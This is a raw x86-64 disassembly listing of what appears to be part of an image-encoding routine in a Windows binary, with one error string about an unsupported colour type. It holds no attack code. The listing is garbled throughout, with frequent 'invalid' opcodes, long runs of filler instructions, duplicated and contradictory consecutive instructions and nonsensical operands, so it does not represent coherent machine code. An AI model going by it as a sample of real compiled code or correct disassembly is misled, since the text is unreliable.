add byte [rax], al
lahf
call 0xc94c7d96
add byte [rax], al
mov qword [rbp + 0x13e0], rax
mov rcx, qword [rbp + 0x2b38]
invalid
invalid
mov qword [rbp + 0x13e0], rax
add byte [rax], al
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
cmp rax, rcx
jne 0x14004feb1
lea esi, [rax]
and al, byte [rax]
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffff
add byte [rax], 0
mov r15, r12
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
test eax, esi
invalid
adc al, 0
add byte [rbx + 0x14e0a5], al
add byte [rax], al
invalid
mov rcx, rsi
int1
mov qword [rbp + 0x14e8], rsi
lea rdx, [rbp + 0x2750]
xchg ebp, eax
push rax
invalid
add byte [rax], al
add byte [rsi - 0x39], ah
add cl, byte [rcx + 0x49]
invalid
push 2
push 2
pop r14
mov r8, r14
invalid
call fcn.14003f462
invalid
dec dword [rax - 0x7b]
invalid
jp 0x140047e5c
invalid
jne 0x140047e2a
lea rdx, [rbp + 0x2750]
mov word [rdx], 0x2a
mov rcx, qword [rbp + 0x14e8]
push 2
pop r8
call fcn.14003f462
test rax, rax
test eax, eax
jne 0x140047e2a
lea rcx, [rbp + 0x14e0]
add qword [rcx + 0x10], 4
xor edx, edx
call fcn.14004557f
test rax, rax
je 0x14004af40
invalid
xor dword [rax], eax
invalid
invalid
lea rdx, [rbp + 0x1e30]
mov qword [rdx + 8], rax
or byte [rsi - 0x39], ah
add dl, byte [rsi]
invalid
or byte [rsi - 0x39], ah
add dl, byte [rsi]
add byte [rax - 0x73], cl
invalid
invalid
lea rsi, [rbp + 0x10]
jne 0x140047e4e
mov rcx, rsi
call fcn.140056a3f
mov rax, qword [rsi]
movabs rcx, 0x800000000000000a
cmp rax, rcx
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
jne 0x14004922d
movups xmm0, xmmword [rbp + 0x18]
movups xmm1, xmmword [rbp + 0x28]
sbb byte [r15], r9b
adc byte [rbp + 0x28], cl
movaps xmmword [rbp + 0x10d0], xmm1
add byte [rax], al
movaps xmmword [rbp + 0x10c0], xmm0
mov rdi, qword [rbp + 0x10d0]
mov rax, rdi
mov eax, edi
and rax, 3
je 0x14004a790
sub dword [rax], eax
add byte [rax], al
lea rdx, [rbp + 0x10]
and word [rdx], 0
adc byte [rsi - 0x7d], ah
and al, byte [rax]
push 4
pop rsi
sub rsi, rax
mov byte [rdx + 2], 0
mov rcx, qword [rbp + 0x10c8]
mov ecx, dword [rbp + 0x10c8]
mov ecx, dword [rbp + 0x10c8]
mov r8, rsi
call fcn.14003f462
test rax, rax
je 0x14004a786
add byte [rax - 0x39], cl
mov qword [rbp + 0x18e0], 0x16
mov qword [rbp + 0x18e8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x18f0], xmm0
test eax, esi
sbb byte [rax], al
add byte [rax], al
test eax, esp
sbb byte [rax], al
add byte [rsi], dl
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
sbb byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test eax, esi
sbb byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
and qword [rbp + 0x1900], 0
jmp 0x14004a9d3
invalid
movsd dword [rdi], dword [rsi]
add byte [rcx], bl
add byte [rax], al
add cl, ch
cli
sub al, byte [rax]
add byte [rax - 0x77], cl
xchg ebp, eax
loopne case.0x140010276.473
mov qword [rbp + 0x2ae0], rdx
add byte [rax], al
and qword [rbp + 0x1b10], 0
mov qword [rbp + 0x1b28], r8
mov word [rbp + 0x1b20], 0x801
add byte [rax], al
add dword [rax], ecx
add byte [rax], al
add dword [rax], ecx
mov dword [rbp + 0x1b22], 0x79010000
mov word [rbp + 0x1b26], 0x479
test dword [rsi], esp
sbb eax, dword [rax]
add byte [rcx + 4], bh
test dword [rsi], esp
sbb eax, dword [rax]
add byte [rcx + 4], bh
mov dword [rbp + 0x13e0], r13d
adc eax, dword [rax]
add byte [rcx + rcx*4 - 0x5b], al
movsd dword [rdi], dword [rsi]
mov dword [rbp + 0x1d10], r12d
mov ecx, r13d
adc byte [0xc9487f1b], bl
jmp 0x128e70864
mov edx, r12d
invalid
mov edx, r12d
call case.0x1400473d4.35
invalid
loop case.0x140010276.473
movntq qword [rax], mm0
add byte [rax - 0x77], cl
test dword [rax], edi
add byte es:[rax], al
mov qword [rbp + 0x2638], rax
mov rsi, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rsi
mov ch, 0x30
and al, byte [rax]
add byte [rax + 0x39], cl
invalid
jne 0x14004ff37
mov ch, 0x30
and al, byte [rax]
add byte [rax + 0x39], cl
invalid
mov rdi, qword [rbp + 0x2b78]
mov ebp, 0x2b78
lea rax, [rdi*4]
mov r10, qword [rbp + 0x2ae0]
loopne 0x140047f80
add byte [rax], al
mul r10
jo 0x140048ebe
cmp rax, rsi
ja 0x140048ebe
test rax, rax
je 0x140049f79
test r13d, r13d
je 0x140050393
shr rsi, 2
mov rax, qword [rbp + 0x2b20]
mov qword [rbp + 0x10c0], rax
rcl byte [rax], 0
add byte [rax - 0x77], cl
mov ch, 0xc8
adc byte [rax], al
add byte [rax], al
mov qword [rbp + 0x10c8], rsi
mov qword [rbp + 0x10d0], rdi
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0x10d0
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x10d8], r13d
adc byte [rax], al
add byte [rcx + rcx*4 - 0x5b], al
fcom qword [rax]
add byte [rax], al
mov dword [rbp + 0x10dc], r12d
test r12d, r12d
sete byte [rbp + 0x2ad8]
je 0x14004a1bb
cmp rsi, rdi
jb 0x14004a1bb
xor eax, eax
mov qword [rbp + 0x2af0], rax
add byte [rax], al
ror byte [rax - 0x77], 0x85
lock sub al, byte [rax]
invalid
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
xor eax, eax
xor r8d, r8d
xor edx, edx
mov qword [rbp + 0x2b10], rdx
add byte [rax], al
add byte [rax], al
xor edx, edx
mov qword [rbp + 0x2b08], rdx
mov dword [rbp + 0x2b08], edx
xchg ebp, eax
or byte [rbx], ch
add byte [rax], al
xor edx, edx
mov qword [rbp + 0x2b00], rdx
add byte [rbx], ch
add byte [rax], al
add byte [rbx], ch
add byte [rax], al
xor r11d, r11d
mov qword [rbp + 0x2b70], rdi
mov rdx, qword [rbp + 0x2b20]
xchg ebp, eax
and byte [rbx], ch
add byte [rax], al
invalid
mov qword [rbp + 0x2ad0], rdx
mov qword [rbp + 0x2b48], rdi
mov qword [rbp + 0x2aa8], rdx
mov dword [rbp + 0x2aa8], edx
mov qword [rbp + 0x2b38], rsi
mov rdx, qword [rbp + 0x2ad0]
shr byte [rdx], 1
add byte [rax], al
mov qword [rbp + 0x2af8], rdx
mov rdx, qword [rbp + 0x2b70]
mov edx, dword [rbp + 0x2b70]
mov edx, dword [rbp + 0x2b70]
add byte [rax], al
mov qword [rbp + 0x2b58], rdx
cmp r11, r10
ror dword [rdi], cl
test byte [rbx], al
and byte [rax], al
add byte [rax], al
add byte [rax], al
lea r14, [r11 + 1]
mov rdx, r14
imul rdx, rdi
xlatb
mov r9, qword [rbp + 0x2b20]
and byte [rbx], ch
add byte [rax], al
sub eax, dword [rax]
add byte [rcx - 0x73], cl
sbb al, 0x91
lea rbx, [r9 + rdx*4]
add rdx, rdi
setb r9b
setb cl
cmp rdx, rsi
seta dl
seta dl
or dl, r9b
cmovne rbx, qword [rbp + 0x2af8]
popfq
clc
sub al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x2ad0], ebx
mov dword [rbp + 0x2ad0], ebx
mov rdx, rdi
cmovne rdx, qword [rbp + 0x2b58]
sub eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
xchg ebp, eax
mov qword [rbp + 0x2b70], rdx
jo 0x1400480b0
add byte [rax], al
cmp qword [rbp + 0x2b48], 0
cmp dword [rbp + 0x2b48], 0
je 0x14004a043
cmp qword [rbp + 0x2b58], 0
je 0x14004a043
test byte [rax + 0x4800001f], ah
invalid
cmp qword [rbp + 0x2b70], 0
cmp dword [rbp + 0x2b70], 0
sub eax, dword [rax]
add byte [rax], al
je 0x14004a043
invalid
add byte [rcx + rcx*4 - 0x4b], cl
enter 0x2a, 0
mov qword [rbp + 0x2ac8], r14
mov qword [rbp + 0x2b28], r11
sub byte [rbx], ch
add byte [rax], al
mov rdx, qword [rbp + 0x2aa8]
mov r12d, dword [rdx]
sub al, byte [rax]
add byte [rbx + rcx*4 + 0x22], al
mov rdx, qword [rbp + 0x2af8]
mov edi, dword [rdx]
mov rdx, qword [rbp + 0x2ad0]
mov r13d, dword [rdx]
xor edx, edx
mov r9d, r12d
mov r10d, edi
mov r11d, r13d
cmp rdx, qword [rbp + 0x2b78]
cmp edx, dword [rbp + 0x2b78]
je 0x140048242
add qword [rax], r8
add byte [rcx + rcx*4 - 0x15], al
mov ebx, r13d
mov r15d, edi
mov esi, r12d
lea r14, [rdx + 1]
invalid
add dword [rbx + rdi - 0x4b], ecx
sub rax, qword [rax]
add byte [rbx + 0xb], dh
cmp r14, qword [rbp + 0x2b48]
jae 0x140048115
mov rdi, qword [rbp + 0x2aa8]
mov r12d, dword [rdi + r14*4]
and al, 0xb7
and al, 0xb7
mov edi, r15d
cmp r14, qword [rbp + 0x2b58]
jae 0x14004812c
invalid
add byte [rbx + 0xb], dh
or ecx, dword [rax - 0x75]
mov rdi, qword [rbp + 0x2af8]
mov ebp, 0x2af8
sub al, byte [rax]
add byte [rdx - 0x75], al
cmp al, 0xb7
mov edi, dword [rdi + r14*4]
mov r13d, ebx
cmp r14, qword [rbp + 0x2b70]
cmp esi, dword [rbp + 0x2b70]
cmp esi, dword [rbp + 0x2b70]
jae 0x140048144
mov r13, qword [rbp + 0x2ad0]
mov r13d, dword [r13 + r14*4]
mov ebp, dword [rbp + rsi*4]
insb byte [rdi], dx
mov ch, 0
mov qword [rbp + 0x10], rdx
mov rdx, qword [rbp + 0x2b28]
sub eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r9d
mov dword [rbp + 0x24], esi
mov dword [rbp + 0x28], r12d
sub byte gs:[rcx + rcx*4 + 0x55], al
push rbp
sub al, 0x44
mov dword [rbp + 0x30], edi
push rbp
sub al, 0x44
mov dword [rbp + 0x30], edi
mov dword [rbp + 0x34], edi
mov dword [rbp + 0x38], r11d
cmp byte [rcx - 0x76bbc3a3], cl
insd dword [rdi], dx
mov edx, r15d
insd dword [rdi], dx
mov edx, r15d
shr edx, 0x18
inc dl
cmp dl, 2
add cl, byte [rdi]
invalid
lodsb al, byte [rsi]
add byte [rax], al
invalid
add cl, byte [rdi]
invalid
xor edx, edx
cmp rdx, 0xc
je 0x14004819a
or al, 0x74
or eax, 0x23157c80
invalid
cmp byte [rbp + rdx + 0x23], 0
and eax, dword [rax]
add byte [rax - 0x73], cl
push rdx
add al, 0x75
out dx, eax
lea rdx, [rdx + 4]
lea edx, [rdx + 4]
jne 0x140048187
jmp 0x1400481c2
xor edx, edx
cmp rdx, 0xc
je 0x1400481af
ror byte [rax - 0x7d], cl
cli
or al, 0x74
jp 0x140048138
cmp rdx, 0xc
je 0x140048231
cmp byte [rbp + rdx + 0x3b], 0
jl 0x1400481cf
cmp eax, dword [rax]
lea rdx, [rdx + 4]
jne 0x1400481b1
lea rcx, [rbp + 0x1e30]
mov edx, r15d
call fcn.14007d8ca
add eax, dword [rax]
movzx eax, word [rbp + 0x1e30]
mov bh, 0x85
xor byte [rsi], bl
add byte [rax], al
test dword [rax], esi
invalid
mov ecx, dword [rbp + 0x1e34]
mov edx, dword [rbp + 0x1e38]
add byte [rbx + rcx*4 - 0x7b], al
cmp al, 0x1e
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], al
cmp al, 0x1e
add byte [rax], al
mov r10, qword [rbp + 0x2b00]
add r10, rax
mov r9, qword [rbp + 0x2b08]
add r9, rcx
mov rcx, qword [rbp + 0x2b10]
sub eax, dword [rax]
invalid
sub eax, dword [rax]
add byte [rax + 1], cl
ror dword [rcx + rax - 0x7b], 1
lock sub al, byte [rax]
add byte [rax], al
add rcx, rdx
add qword [rbp + 0x2af0], r8
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
enter 0xffffffffffff8948, 0xffffffffffffff8d
mov qword [rbp + 0x2b10], rcx
mov qword [rbp + 0x2b10], rcx
mov rax, r9
mov qword [rbp + 0x2b08], r9
add byte [rcx + rcx*4 - 0x2e], cl
add byte [rcx + rcx*4 - 0x2e], cl
mov qword [rbp + 0x2b00], r10
mov dword [rbp + 0x2b00], edx
mov r8, r10
mov eax, edx
mov rdx, r14
mov r9d, esi
mov r9d, esi
mov r10d, r15d
mov edx, edi
mov r11d, ebx
jmp 0x1400480e7
invalid
invalid
invalid
invalid
mov r11, qword [rbp + 0x2ac8]
mov ebx, dword [rbp + 0x2ac8]
popfq
enter 0x2a, 0
invalid
add byte [rax - 0x75], cl
xchg ebp, eax
pop rax
sub eax, dword [rax]
add byte [rax], al
mov qword [rbp + 0x2b48], rdx
mov rdx, qword [rbp + 0x2af8]
invalid
invalid
xchg ebp, eax
mov rdx, qword [rbp + 0x2b58]
add byte [rax], al
mov qword [rbp + 0x2b48], rdx
mov dword [rbp + 0x2b48], edx
mov rdx, qword [rbp + 0x2af8]
mov edx, dword [rbp + 0x2af8]
mov qword [rbp + 0x2aa8], rdx
test al, 0x2a
add byte [rax], al
mov rsi, qword [rbp + 0x2b38]
mov rdi, qword [rbp + 0x2b78]
add byte [rax], al
mov r10, qword [rbp + 0x2ae0]
jmp case.0x1400115e7.463
std
invalid
invalid
std
invalid
mov qword [rbp + 0x2ae0], rdx
xchg ebp, eax
loopne 0x1400482ae
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x29d0], xmm0
movups xmmword [rbp + 0x29e8], xmm0
adc dword [rbp + 0x29e8], eax
adc dword [rbp + 0x29e8], eax
call 0x1880482c1
and dword [rbp + 0x29c0], 0
add byte [rax], al
invalid
sub dword [rax], eax
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
shr byte [rcx], 0
add byte [rax], al
invalid
and qword [rbp + 0x29c0], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x29c8], rbx
popfq
enter 0x29, 0
sub dword [rax], eax
add byte [rax - 0x77], cl
popfq
loopne 0x1400482d4
mov qword [rbp + 0x29e0], rbx
add byte [rax], al
mov qword [rbp + 0x29f8], rbx
mov dword [rbp + 0x29f8], ebx
sub dword [rax], eax
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add byte [rdx], ch
add byte [rax], al
add byte [rcx + rcx*4 - 0x7b], cl
test dword [rax], ecx
invalid
and qword [rbp + 0x2a00], 0
mov qword [rbp + 0x2a08], r8
test dword [rax], ecx
sub al, byte [rax]
add byte [rax], al
test dword [rax], ecx
sub al, byte [rax]
add byte [rax], al
mov dword [rbp + 0x2984], r13d
add byte [rax], al
mov dword [rbp + 0x2984], r13d
mov dword [rbp + 0x2980], r12d
mov ecx, r13d
sub dword [rax], eax
add byte [rcx + rcx*4 - 0x17], al
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x1e20], rax
test dword [rax], esp
invalid
add byte [rax], al
mov r8, qword [rbp + 0x2b38]
mov eax, dword [rbp + 0x2b38]
test dword [rax], esp
invalid
mov eax, dword [rbp + 0x2b38]
mov qword [rbp + 0x2230], r8
and al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0x2b58], rax
mov qword [rbp + 0x2b58], rax
cmp rax, r8
jne 0x14004ffbd
test dword [rsp + rdi*2 - 0x72b80000], edi
test dword [rax + 0x48000029], ebp
and dword [rax], 0
lea rax, [rbp + 0x29a8]
and qword [rax], 0
mov qword [rax + 8], 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
and qword [rax + 0x10], 0
mov qword [rbp + 0x2ab0], rax
and qword [rbp + 0x2ab8], 0
and dword [rbp + 0x2ab8], 0
add byte [rax - 0x77], cl
test dword [rax + 0x4800002a], esi
and dword [rbp + 0x2ab8], 0
movsd dword [rdi], dword [rsi]
mov eax, 0x2a
mov byte [rbp + 0x2ac0], 0
shr byte [rdx], 0
add byte [rax], al
mov rax, qword [rbp + 0x2ae0]
loopne 0x14004835e
add byte [rax], al
mov rbx, qword [rbp + 0x2b78]
imul rax, rbx
mov rcx, rax
mov ecx, eax
mov ecx, eax
shr rcx, 0x3e
shl rax, 2
xor edx, edx
neg rcx
sbb rdx, rdx
or rdx, rax
mov qword [rbp + 0x14e0], rdx
mov qword [rbp + 0x1e30], r8
cmp rdx, r8
cmp edx, eax
add byte [rcx + rdi - 0x3e], cl
cmp edx, eax
ret 0x850f
jne 0x140050280
add byte [rax], al
dec r13d
dec r12d
mov eax, r13d
or eax, r12d
cmp eax, 0x4000
add byte [rdi], cl
add dword [rbp + 0xb], 0
jae 0x140048eca
add byte [rcx + rcx*4 - 0x53], cl
sub rax, qword [rax]
add byte [rcx + rcx*4 - 0x5b], cl
sub byte [rbx], ch
add byte [rax], al
mov qword [rbp + 0x2b48], r13
mov qword [rbp + 0x2b28], r12
add byte [rax - 0x73], cl
lea esi, [rax + 0x6a00002a]
invalid
lea rcx, [rbp + 0x2ab0]
lea ecx, [rbp + 0x2ab0]
push 0x2f
pop rdx
mov r8b, 8
call fcn.140041382
dec dword [rax - 0x73]
push rbx
dec dword [rax - 0x73]
invalid
mov al, 0x2a
add byte [rax], al
dec dword [rax - 0x73]
push rbx
dec dword [rax - 0x73]
lea esi, [rax + 0x4100002a]
mov al, 0xe
add byte [rax], al
mov r8b, 0xe
call fcn.140041382
mov rax, qword [rbp + 0x2ae0]
test eax, esp
sub al, byte [rax]
add byte [rax - 0x73], cl
push rax
dec dword [rax - 0x73]
lea ecx, [rbp + 0x2ab0]
retf 0xff8f
test eax, esp
sub al, byte [rax]
add byte [rax - 0x73], cl
push rax
dec dword [rax - 0x73]
lea ecx, [rbp + 0x2ab0]
mov r8b, 0xe
lea ecx, [rbp + 0x2ab0]
sub al, byte [rax]
add byte [rcx - 0x50], al
invalid
mov r8b, 0xe
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
push 1
pop rdx
mov r8b, 1
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
sub al, byte [rax]
invalid
lea ecx, [rbp + 0x2ab0]
lea esi, [rax + 0x3100002a]
sub al, byte [rax]
add byte [rcx], dh
xor edx, edx
mov r8b, 3
call fcn.140041382
dec dword [rax - 0x73]
lea esi, [rax + 0x6a00002a]
add eax, 0x3b0415a
rol byte [rcx - 0x50], cl
add ebp, eax
lea ecx, [rdi - 0x72b70001]
dec dword [rax - 0x73]
dec dword [rax - 0x73]
lea esi, [rax + 0x6a00002a]
add eax, 0x3b0415a
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
lea ecx, [rbp + 0x2ab0]
lea ecx, [rbp + 0x2ab0]
push 0x39
pop rdx
mov r8b, 6
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
xor edx, edx
mov r8b, 1
add eax, ebp
pop rax
invalid
invalid
dec dword [rax - 0x73]
lea esi, [rax - 0x4dffffd6]
add byte [rdx - 0x704b17fe], dh
mov ah, 0x8f
invalid
dec dword [rax - 0x73]
mov ch, 0xb0
sub al, byte [rax]
add byte [rcx], dh
invalid
dec dword [rax - 0x73]
lea esi, [rax + 0x3100002a]
rol byte [rcx - 0x50], cl
add eax, ebp
pop rax
invalid
mov ah, 0x8f
invalid
cmp edi, 4
je 0x140048ed2
test byte [rax + 0x4800000a], cl
mov ecx, esi
mov rcx, rsi
xor edx, edx
call fcn.1400413ec
inc edi
jmp 0x140048441
movabs rax, 0x8000000000000003
mov qword [rbp + 0x1e30], rax
invalid
add byte [rax], al
lea rax, [rbp + 0x2c20]
lea rcx, [rbp + 0x14e0]
mov qword [rcx], rax
mov dword [rcx], eax
invalid
mov dword [rcx], eax
lea rax, [0x140289c40]
lea rdx, [rbp + 0x10]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
invalid
and dword [rdx + 0x20], 0
lea r8, [0x1400450cf]
mov qword [rcx + 8], r8
or byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
invalid
enter 0x12, 0
xor al, 0xcc
invalid
or byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
invalid
call fcn.140015f59
mov rax, qword [rbp + 0x12d8]
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx + 0x38], rax
movups xmm0, xmmword [rbp + 0x12c8]
adc byte [rbp + 0x12c8], al
movups xmmword [rcx + 0x28], xmm0
movups xmm0, xmmword [rbp + 0x1e30]
test dword [rax], esi
invalid
add byte [rax], al
movups xmm1, xmmword [rbp + 0x1e40]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rsi
jmp 0x14004e96e
test dword [rax], esi
invalid
and cl, ch
and byte [rax + rax], 0x48
lea rdx, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x28], r8
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x38fd76b8], al
mov qword [rdx], rax
invalid
mov qword [rdx], rax
mov dword [rdx + 0x34], 1
add byte [rax], al
add byte [rsi - 0x39], ah
xor byte [rdx], al
add byte [rcx + rcx*4 + 0x64], al
and al, 0x28
add al, bh
xor al, 1
add byte [rax], al
add byte [rsi - 0x39], ah
xor byte [rdx], al
add byte [rcx + rcx*4 + 0x64], al
and al, 0x28
sub byte [rcx + rcx*4 + 0x6c], al
mov dword [rsp + 0x20], r13d
insb byte [rdi], dx
and al, 0x20
mov rcx, qword [rbp + 0x2b60]
mov ecx, dword [rbp + 0x2b60]
mov r8, qword [rbp + 0x2b20]
mov r9, qword [rbp + 0x2b38]
add byte [rbx + rcx*4 - 0x73], cl
cmp byte [rbx], ch
add byte [rax], al
call fcn.140051db0
lea rcx, [rbp + 0x10]
adc al, ch
loop 0x14004851b
add byte [rax], al
adc al, ch
loop 0x14004851b
add byte [rax], al
jmp 0x14004e96e
mov r14, r8
push 0x24
pop rcx
push 4
pop rdx
call fcn.14003f27f
movabs rcx, 0x1010100000000
mov qword [rax], rcx
mov dword [rax], ecx
mov dword [rax], ecx
and word [rax + 8], 0
and dword [rax + 0xc], 0
mov byte [rax + 0x10], 2
adc byte [rdx], al
adc byte [rdx], al
mov edx, 0x1010101
mov dword [rax + 0x11], edx
mov cl, 1
mov byte [rax + 0x15], cl
and dword [rax + 0x18], 0
add dword [rax + 0x60831548], ecx
sbb byte [rax], al
mov byte [rax + 0x1c], 3
mov dword [rax + 0x1d], edx
mov qword [rbp + 0x2b78], rax
js 0x1400485b2
add byte [rax], al
js 0x1400485b2
add byte [rax], al
mov byte [rax + 0x21], cl
push 1
pop rdx
mov ecx, 0x80
call fcn.14003f27f
out 0x6c, al
invalid
dec dword [rcx - 0x77]
invalid
push 1
pop r8
movups xmm0, xmmword [0x1401fcfce]
sbb eax, dword [rax]
out 0x6c, al
invalid
sbb eax, dword [rax]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1401fcfbe]
sbb rax, qword [rax]
sbb rax, qword [rax]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1401fcfae]
and byte [rdi], cl
adc byte [0x1401fcfae], al
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401fcf9e]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x1401fcfde]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x1401fcfee]
adc dword [rdx + 0x1b], ecx
invalid
adc dword [rdx + 0x1b], ecx
add byte [rdi], cl
adc dword [rax + 0x50], eax
sbb eax, dword [rax]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [0x1401fcffe]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [0x1401fd00e]
invalid
sbb eax, dword [rax]
movups xmmword [rax + 0x70], xmm0
xor r9d, r9d
push 0x64
pop r10
mov r11, rax
mov rbx, qword [rbp + 0x2b38]
cmp byte [rbx], ch
add byte [rax], al
cmp byte [rbx], ch
add byte [rax], al
cmp r9, 0x80
je 0x140048d73
invalid
add byte [rcx], dh
test byte [rax - 0x7d], 0xfe
cmp esi, 0x40
je 0x14004864a
xor esi, esi
cmp rsi, 0x40
cmp esi, 0x40
cmp esi, 0x40
je 0x14004864a
movzx edi, byte [r11 + rsi]
imul eax, edi, 0x32
add eax, 0x32
xor edx, edx
div r10d
invalid
mov edx, 0xff
cmp eax, edx
jb 0x14004863b
add r9, 0x40
add ecx, 0x40
add r11, 0x40
jmp 0x140048608
mov rdi, r8
mov qword [rbp + 0x2750], r8
test dword [rax + 0x27], edx
add byte [rax], al
mov byte [rbp + 0x2758], 1
mov dword [rbp + 0x1b10], r13d
mov dword [rbp + 0x10c0], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x18e0], rax
mov rcx, qword [rbp + 0x2b38]
cmp byte [rbx], ch
add byte [rax], al
jmp 0x128e70fbe
cmp byte [rbx], ch
add byte [rax], al
mov qword [rbp + 0x2230], rcx
cmp rax, rcx
jne 0x140050056
invalid
jns 0x14004869b
invalid
mov edx, 0x4d000079
mov edi, esp
mov r15, r12
cmp r13d, 0xffff
jbe 0x1400486d4
lea rsi, [rbp + 0x10]
mov rcx, rsi
xor edx, edx
mov r8d, r13d
call fcn.140056841
add byte [rax - 0x75], cl
invalid
movabs rcx, 0x800000000000000a
movzx r13d, word [rsi + 8]
movzx ebp, word [rsi + 8]
add byte [rax - 0x75], cl
invalid
movzx ebp, word [rsi + 8]
outsb dx, byte [rsi]
or byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0x79
adc al, byte [rax]
add byte [rcx - 0x7f], al
invalid
cmp rax, rcx
jne 0x14004994d
cmp r15d, 0xffff
jbe 0x14004870a
invalid
sub eax, 0x10758d48
lea rsi, [rbp + 0x10]
push 1
pop rdx
mov rcx, rsi
mov r8d, r15d
call fcn.140056841
mov rax, qword [rsi]
movabs rcx, 0x800000000000000a
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x49], 0x7e
or byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffb5
sbb byte [rax], al
invalid
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x49], 0x7e
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x49], 0x7e
or byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffb5
sbb byte [rax], al
add byte [rsi + 0x45], ah
test ebp, ebp
test r13w, r13w
setne al
test r15w, r15w
setne bl
and bl, al
cmp bl, 1
jne 0x140049718
mov al, 0x28
mov qword [rbp + 0x2b78], rax
mov sil, 0x20
mov r14b, 0xa
mov dh, 0xa
mov dh, 0xa
jmp 0x14004972c
mov r15, rdx
mov r14, r8
mov dword [rbp + 0x10c0], r13d
mov dword [rbp + 0x18e0], r12d
mov dword [rbp + 0x18e0], esp
mov dword [rbp + 0x18e0], esp
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x2750], rax
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
mov dword [rbp + 0x2230], ecx
add byte [rax - 0x75], cl
lea edi, [rax]
sub eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0x2230], ecx
cmp rax, rcx
invalid
test dword [rax + 0x79], ebp
invalid
mov dword [rbp + 0x2230], ecx
cmp rax, rcx
jne 0x1400500dc
add byte [rcx + rcx*4 - 0x18], al
mov eax, r13d
mov eax, ebp
mul r12d
mul esp
jo 0x140048789
mov ebx, eax
cmp eax, 0x3fffffff
jbe 0x140049981
movabs rax, 0x8000000000000006
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx], rax
movabs rax, 0x8000000000000000
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
jmp 0x14004e96e
mov dword [rbp + 0x10c0], r13d
mov dword [rbp + 0x18e0], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x2750], rax
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
cmp rax, rcx
jne 0x140050162
lea rax, [rbp + 0x1b10]
mov byte [rax], 0x10
mov byte [rbp + 0x1e38], 0xb
movabs rcx, 0x8000000000000000
mov qword [rbp + 0x1e30], rcx
lea rcx, [rbp + 0x2230]
mov qword [rcx], rax
lea rax, str.writing_color_type__not_yet_supported
lea rdx, [rbp + 0x10]
mov qword [rdx], rax
lea rax, case.0x1400422c1.126
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
mov qword [rcx + 8], rax
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], 1
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x2b1d], 1
lea rcx, [rbp + 0x14e0]
call fcn.140015f59
push 0x18
pop rcx
push 8
pop rdx
call fcn.14003f27f
mov rcx, qword [rbp + 0x14f0]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rbp + 0x14e0]
add byte [rax], al
add byte [rax], al
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 0x1e30]
movups xmm1, xmmword [rbp + 0x1e40]
